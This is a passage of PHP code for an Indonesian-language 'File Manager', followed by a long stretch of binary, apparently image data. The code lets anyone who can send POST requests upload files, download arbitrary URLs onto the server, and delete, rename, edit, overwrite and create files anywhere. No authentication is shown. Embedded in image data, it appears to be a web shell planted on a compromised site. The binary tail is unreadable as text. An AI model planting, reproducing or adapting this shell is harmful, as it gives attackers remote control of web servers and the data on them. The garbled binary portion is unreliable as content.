C  Lokasi: " . htmlspecialchars($targetDir) . "
Ukuran tersalin: " . number_format($bytes) . " byte" . "
?? Download"; } else { @unlink($targetPath); $uploadMessage = "? Gagal menyalin isi file ke: " . htmlspecialchars($targetPath); } } else { if ($in) fclose($in); if ($out) fclose($out); $uploadMessage = "? Tidak bisa membuka stream baca/tulis. Periksa permission folder."; } } } } // ---------------- DOWNLOAD DARI URL ---------------- $downloadMessage = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['download_url'])) { $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : getcwd(); $url = trim($_POST['download_url']); if (filter_var($url, FILTER_VALIDATE_URL)) { $filename = basename(parse_url($url, PHP_URL_PATH)); $filename = preg_replace('/[^A-Za-z0-9._-]/', '_', $filename); if ($filename === '' || $filename === '.' || $filename === '..') $filename = 'downloaded_file'; $targetPath = $currentDir . DIRECTORY_SEPARATOR . $filename; // Download file dengan stream $in = @fopen($url, 'rb'); $out = @fopen($targetPath, 'wb'); if ($in && $out) { $bytes = stream_copy_to_stream($in, $out); fclose($in); fclose($out); if ($bytes !== false) { @chmod($targetPath, 0644); $downloadMessage = "? File dari URL berhasil didownload: " . htmlspecialchars($filename) . "
Lokasi: " . htmlspecialchars($currentDir) . "
?? Download"; } else { @unlink($targetPath); $downloadMessage = "? Gagal menulis file dari URL."; } } else { if ($in) fclose($in); if ($out) fclose($out); $downloadMessage = "? Tidak bisa membuka URL atau folder tujuan."; } } else { $downloadMessage = "? URL tidak valid."; } } // ---------------- DELETE ---------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete'])) { $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir; $target = safeRealpath($_POST['delete']); if ($target && strpos($target, DIRECTORY_SEPARATOR) !== false) { if (is_dir($target)) @rmdir($target); else @unlink($target); } redirectTo($currentDir); } // ---------------- RENAME ---------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename_path'], $_POST['new_name'])) { $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir; $old = safeRealpath($_POST['rename_path']); $newName = basename($_POST['new_name']); if ($old && file_exists($old)) { $newPath = dirname($old) . DIRECTORY_SEPARATOR . preg_replace('/[^A-Za-z0-9._-]/', '_', $newName); @rename($old, $newPath); } redirectTo($currentDir); } // ---------------- EDIT / SAVE ---------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_path']) && !isset($_POST['save_content'])) { $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir; $editPath = safeRealpath($_POST['edit_path']); if ($editPath && is_file($editPath) && is_readable($editPath)) { $content = htmlspecialchars(file_get_contents($editPath)); echo "

Editing: " . htmlspecialchars($editPath) . "


"; exit; } else { redirectTo($currentDir); } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_content'], $_POST['save_path'])) { $savePath = safeRealpath($_POST['save_path']); if ($savePath && is_file($savePath) && is_writable($savePath)) { file_put_contents($savePath, $_POST['content']); } $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir; redirectTo($currentDir); } // ---------------- CREATE FILE / FOLDER ---------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) { $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir; $name = basename($_POST['new_file']); file_put_contents($currentDir . DIRECTORY_SEPARATOR . preg_replace('/[^A-Za-z0-9._-]/', '_', $name), ''); redirectTo($currentDir); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_folder'])) { $currentDir = isset($_POST['current_dir']) ? safeRealpath($_POST['current_dir']) : $currentDir; $name = basename($_POST['new_folder']); @mkdir($currentDir . DIRECTORY_SEPARATOR . preg_replace('/[^A-Za-z0-9._-]/', '_', $name)); redirectTo($currentDir); } // ---------------- LISTING ---------------- function buildBreadcrumb($dir) { $parts = preg_split('#[\\/\\\\]#', $dir, -1, PREG_SPLIT_NO_EMPTY); $acc = (DIRECTORY_SEPARATOR === '/') ? '' : ''; $crumbs = []; $prefix = DIRECTORY_SEPARATOR; $pathParts = []; if (DIRECTORY_SEPARATOR === '/' && substr($dir,0,1) === '/') $acc = DIRECTORY_SEPARATOR; foreach ($parts as $p) { $acc .= ($acc === DIRECTORY_SEPARATOR || $acc === '' ? $p : DIRECTORY_SEPARATOR . $p); $pathParts[] = $acc; } if (empty($pathParts)) return "/"; $out = []; foreach ($pathParts as $pp) { $out[] = "" . htmlspecialchars(basename($pp) ?: $pp) . ""; } return implode(" / ", $out); } function listFilesAndDirs($dir) { $items = @scandir($dir); if ($items === false) { echo "Tidak dapat membaca direktori ini."; return; } foreach ($items as $item) { if ($item === '.') continue; if ($item === '..') { $parent = dirname($dir); echo "??.. (Parent)---"; continue; } $path = $dir . DIRECTORY_SEPARATOR . $item; $type = is_dir($path) ? 'Folder' : 'File'; $size = is_file($path) ? filesize($path) : '-'; $time = file_exists($path) ? date("Y-m-d H:i:s", filemtime($path)) : '-'; echo " " . ($type === 'Folder' ? '??' : '??') . " " . ($type==='Folder'? "" . htmlspecialchars($item) . "" : htmlspecialchars($item)) . " " . htmlspecialchars($size) . " " . htmlspecialchars($time) . "
"; if ($type === 'File') { echo " ?? Download
"; } echo ""; } } ?> File Manager

File Manager

Lokasi saat ini:

TypeNamaUkuranWaktuAksi
 %# , #&')*)-0-(0%()(C   (((((((((((((((((((((((((((((((((((((((((((((((((((" @@hC}!Ѱ<" 9iׂIIIHk+?c?*Y!du)bT9вU$8GI.澬DSq q}.d8FهKaKdrFh.]y4 JЛ]KBE$$ $ PR΀G]ui$$'! "#031C/Td=SQ?62Ccj{ ̏dچ/cV`Wz͈{Y`dhL ]OBlomrn s-ڗEZN_1%bHϣV7):ӷ)}~(;!b15K[Evϻ>q.% O(c#x$'+`٥vv(M"vB.a T~ϕhy(6nݱl1yNɓxA R8rqv1.cS+_&@ uM5Ĉ XmeLXqy#9]c}ɄLdeJ몓I1T dCaM$T,X bʭ!%F5X1x#!q\F2&RqCol~̱.0ϦLd`. m{Y~k{C}bv;UcN(ouh6 &Y587E$-']n,@TD\+RyUU^Q,f>1qfU Fڥ>IfNUwu#OMMQ6 N*_ k rS`1:!F'<+ b?O2 !Q12A "3a#$?,7!`yǮ(16w a F#?*"sv>Ⱥfv͑s]GnS ȥpG ыEg)Zx rYq] @f_܃pչEڎّC Ŝ*/ hOSvو\5Uy|oHm2CSBW)5{TW=o*R Aks=Cre?i /ں$beo`ޮGHy;fNAl8.\S"aúFYvNk-*`vkʈ2fEEWa, fF^#;[9^~Y$:0#W3Z*IZڹkn--9=G;7F)m{TɆ=Ȭ55Baڞ5M#m5Ʀm8+Hh$}:&eQ[;i]С::o$<~5RB?s35rOֿwP/̅(Z6R>)N4!ʊwz-rw+ykq1bKhƸ4NӐXQ_})+e15nq?[^9<z3Fsi8')9p){RPZ+*p(aYV6lg9;duNt@3sTwzaŇGTbH(#*zc9Kb1tÊ Z?giDHRB^MvOLD,'dqCP$ΔU֟֊=sF$JދZ?NANWP, ¦򙈉&;xdupiIpd;Dž!ֿѮAb%u}j-p>I[Nbi G';4wm]H]#LӘNNRs.]en -8ePsQ;țEݫ7g_LWEZ:/IagnܤiٹŷTH~ia֎~KV A-2m]F"m9-Z bǰ״ @~4Nxčtl>u#rgѐ3;M9<J1vfL8׋1PHgPXv{O}nKQ؋7bX4<`Y7siV)s:{rOhz @4VWB&ɡob܋F4>ysfXWSNO$,.u:ԫgyao4$hD#ٸf^kh7#1Z֥&*v-;bޭQhowy]ه.+7Mⴻ JYgfi3qK C3¹? 5Z.N^Z wKF͂7ރ۞wjTJ.qŠ\Sv1UR욽&NpЖ``уm`vn#z4>eV`'h'jAҔ-4:Hn]9h<nU6m2cE1/Y%I~ʏ|VBƟ@;%M9M}1Dd%gO] у&rf7uܲ(!1AQaq0 ?!*@)JeGj{['v+)(/д%젍ZkkLuRmj.c@Z VJdjh62AO a;oBu H=nKW8Bɰu?бأm,sr|8˨iqI2tZۄJPXEzޔj~]UMuzv!N&1YzJՠ\po'ሸC؊YTD"HM5Ъi߯aFA)ڮzE@hg֝81jk\M38ܢ  s7N}ޭGNBcL pk;Jδ3eiUgAYW]\>GyگQ=fKA;Ta`eM+Q Lň]GM<ĦjHNMx}aX{̣S ԅnMASr ( (Lzo9.;ӳf `Ӕ٢3 IW\9~_saa\ԊWܭX:ӆ38ty*NqPBIYjE>DP!R%-4'皺;~J!7mXhP!曭$\AYj.lC4+jDdgC0-*|`ZD+лC")s8KqpqMs4 7\U`.[Ey8AH!/,(:M -T䓥~ O4-Ԓn}HDN7K$_Ԕ䚞`RhB_aX?4Vŗ@هua;{PcT+7YBo?r-ͩ{ĎA ˼nM286G1V˜Jв"lV55C]h̊A%  'pԂՐ9=d=e{'<3_ :^~4(n-Cs5m![jmIqU~Tw8`pH8uД l maP0 9yCMF1G糞.U~FC{!e(Y:P7~;LN^{1r\ԬG(0dÏOqKZ⑼T{ 2sKdՏ?mMQ=67iH+9d=;QؤH8nLbDyS%({bCupt#C$A"H{jqᶯ:n=EhH`!mMA?v6+MԿ⟚q KiD*Q5CZ2|]:Xd+t:o@M :32b[\5=ֵ7])|tϺwBńe!`:I,9:j@/a 8+v6&{Ǹ@MviA 6T'whs E}xG&'g J~1qff&q˘-vYm /i1 I6u,)#,΁l}*&`$ͬe%w3xѤXcD执g峕5B/|$=%8 a 2.l c@G \/x[өq]v5?N|!\,>{"r/?&!1QAa ᑱ?ĊD肭 nv@yޝ (I…U - bmE>,1v!d& &檔5D&0PԔ͒@Z:†E" Q`”>PH:~OP3W@hMkU \OR5ʄ,f|r}јxo)"+hQK/0`5{M~ '!1AQaq0 ??k#^~G#V,#Z1'ܤ~pO%OO\q`~ }EŰ5 輸dux\$s[{T2t`Bgq4Z]b 㛪3,(@bApr)9:@|b!rg:N^Ʌ x_\pm7I0?>^kw|.K[sF@]Gn*L yO leP.p֍jS=ʨןQF"5zʼnk*8u" Fg cSyVƇNؐ(48hVAӎ^^ jyB p"y]ļlU(7U`3pCGF'&ygozXν: P"@G@x[o&MJ$F.hi w;}/^͇qnmN/TQއO1\,}bQ #¯^S!)X#GPȏt c^\' }iIZa)z4͊Ξy48,f#KP!Jx|wʆ#Z< ~Krp&qH/;R沽+ER~0vV#ʀTS(-ڝBybCDb8~= Yͧ]@nMk2%;%,r6LR腻?^;KŇ=ք =`ɥ/z&I{#JMC}H9^UJ,P pSGd69Ϭu%"ˢP K"k)=9 ㇌,OliXzh " R ^sNkQ >63( PQPy3$f+W՛=4ǁ`*^ EbKt6^!籷ȭK{/;Lpx;aOلz[.NP4]GcTv~sg'LED]j'G]6rYUPw*OİՋi'8۴#gXx+=eU6Rc"u2~?ny;u3'6f b߬M$*k&?6 *^1nێz)Ra}1ٯ%EY2QEp$ EqSt#+x *hUIXM?'//a'G q@0( } G#Ȣp 9;/& `B&$yt(*zxӔS?Kȏ3{p b  ۍ-z܈֦6?<ǬPNG 更 6/h0Ziuae*M'A xvq.>F oN{Q{gDLu=|O xNdq8(EUu,O tDJ ;GeCV YZ T4{(Ӳ'ctfwcjre޳m #7,6BE4QP.P(&^{9H-mo qg1=>p)/"p0!4m‚S6úFNh D )XdT FؤZ⸚kHc8v I `ԁ i4)t*çLe_>ruGEQgǔctō0l6vd GG8v^|#JyZPSO YCuAߐ"xOfHF@KV!少Eҕ]h [).q*0I<8^6}p^thoigiDKp,23I5쓄OY6s7QsOw^wJ/A➰0g(ՄyKԇQS?HwX=ҞX~Q='p?7 @g~G}rgT?